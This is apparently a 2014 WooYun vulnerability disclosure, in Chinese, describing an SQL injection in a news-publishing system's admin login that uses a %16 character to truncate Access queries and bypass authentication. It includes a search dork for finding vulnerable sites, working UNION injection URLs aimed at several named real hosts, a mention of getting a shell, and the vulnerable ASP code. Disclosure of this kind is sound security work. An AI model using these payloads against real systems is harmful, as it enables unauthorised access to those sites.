当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-073671

漏洞标题:某新闻发布管理系统SQL注入一枚(access数据库截断小技巧)附带拿shell

相关厂商:cncert国家互联网应急中心

漏洞作者: wefgod

提交时间:2014-08-25 10:12

修复时间:2014-11-23 10:14

公开时间:2014-11-23 10:14

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-25: 细节已通知厂商并且等待厂商处理中
2014-08-29: 厂商已经确认,细节仅向厂商公开
2014-09-01: 细节向第三方安全合作伙伴开放
2014-10-23: 细节向核心白帽子及相关领域专家公开
2014-11-02: 细节向普通白帽子公开
2014-11-12: 细节向实习白帽子公开
2014-11-23: 细节向公众公开

简要描述:

头一次注意到access可以这样截断?

详细说明:

搜索:http://music.google.cn/search?newwindow=1&q=inurl%3Afunonews.ASP%3FID%3D&btnG=Google+%E6%90%9C%E7%B4%A2
不过有的搜索结果未必是同一套系统。
系统名称应该是叫风诺新闻发布管理系统
北京风诺网络开发
存在注入的链接:
http://lib.hebiace.edu.cn/dzb/admin/chklogin.asp?password=1&Submit=%c8%b7%20%b6%a8&admin=1

漏洞证明:

正题:
当判断表名admin的时候返回密码错误,admin1的时候则提示数据库错误
http://lib.hebiace.edu.cn/dzb/admin/chklogin.asp?admin=1'%20and%20exists%20(select%20*%20from%20admin)%20and%20'1'='1&password=1&Submit=%c8%b7%20%b6%a8

image135.png


http://lib.hebiace.edu.cn/dzb/admin/chklogin.asp?admin=1'%20and%20exists%20(select%20*%20from%20admin1)%20and%20'1'='1&password=1&Submit=%c8%b7%20%b6%a8

image136.png


用此方法也可以快速判断是否存在注入
因为order by是有4个字段的,直接来吧。
http://lib.hebiace.edu.cn/dzb/admin/chklogin.asp?password=1&Submit=%c8%b7%20%b6%a8&admin=1%27%20UNION%20ALL%20SELECT%20123%2CNULL%2CNULL%2CNULL%20FROM%20MSysAccessObjects%16

image137.png


http://www.botou.gov.cn/yj/admin/chklogin.asp?password=1&Submit=%c8%b7%20%b6%a8&admin=1%27%20UNION%20ALL%20SELECT%20123%2CNULL%2CNULL%2CNULL%20FROM%20MSysAccessObjects%16

image139.png


http://210.41.160.9:84/huang/nbzy/hjyj/admin/chklogin.asp?password=1&Submit=%c8%b7%20%b6%a8&admin=1%27%20UNION%20ALL%20SELECT%20123%2CNULL%2CNULL%2CNULL%20FROM%20MSysAccessObjects%16

image141.png


http://www.qzgl.cn/admin/chklogin.asp?password=1&Submit=%c8%b7%20%b6%a8&admin=1%27%20UNION%20ALL%20SELECT%20123%2CNULL%2CNULL%2CNULL%20FROM%20MSysAccessObjects%16

image143.png


拿shell
http://www.qzgl.cn/webedit/admin_login.asp
两个admin进入

image145.png


image147.png


image148.png


顺带简单分析一下上面的情况,因为
admin=1%27%20UNION%20ALL%20SELECT%20123%2CNULL%2CNULL%2CNULL%20FROM%20MSysAccessObjects%16
后面使用了一个%16,使用其它字符的话大部分都无法直接进入系统。
看一下%16是个啥:

20140824133638.jpg


看下代码:

admin1=request("admin")
password1=request("password")
set rs=server.CreateObject("ADODB.RecordSet")
sql="select * from admin where admin='" & admin1 & "' and password='"&encrypt(password1)&"'"


查询原本拼凑出来的是:
select * from admin where admin=’1' UNION ALL SELECT 123,NULL,NULL,NULL FROM MSysAccessObjects (%16转换为的字符,乌云不让贴) and password=1
在这个地方%16(就是)可以截断access的sql查询!
等同于查询变成了:
select * from admin where admin=’ 1' UNION ALL SELECT 123,NULL,NULL,NULL FROM MSysAccessObjects
因为admin表结构如下:

image150.png


所以使用了联结查询就等于“查询出了一条数据:id=123其它字段都为空”
后面部分的代码,不多说了没什么特别的

rs.open sql,conn,1
if rs.eof and rs.bof then
response.write"<SCRIPT language=JavaScript>alert('用户名或密码不正确!');"
response.write"javascript:history.go(-1)</SCRIPT>"
response.end
else
session("admin")=rs("admin")
session("username")=rs("admin")
session("userid")=rs("id")
session("password")=rs("password")
session("aleave")=rs("aleave")
Session("eWebEditor_User") = "admin"
Session("eWebEditor_Version") = "2.8.0"
response.redirect "admin.asp"
end if
rs.close
set rs=nothing


本地测试下:
表结构:

image151.png


测:1:
SELECT * from admin where username='admin' and password='123';

image152.png


测试2(加了%16字符):

20140824134010.jpg


image153.png


很明显后面密码的条件已经被截断了。
再测试mysql:

image155.png


直接报错…………
再测试下mssql:

image157.png


image158.png


%16直接被忽视了
所以应该只在access下有效。
不知道是不是之前就有的,才疏学浅现在才知道access可以这样截断

修复方案:

过滤咯

版权声明:转载请注明来源 wefgod@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2014-08-29 16:45

厂商回复:

最新状态:

暂无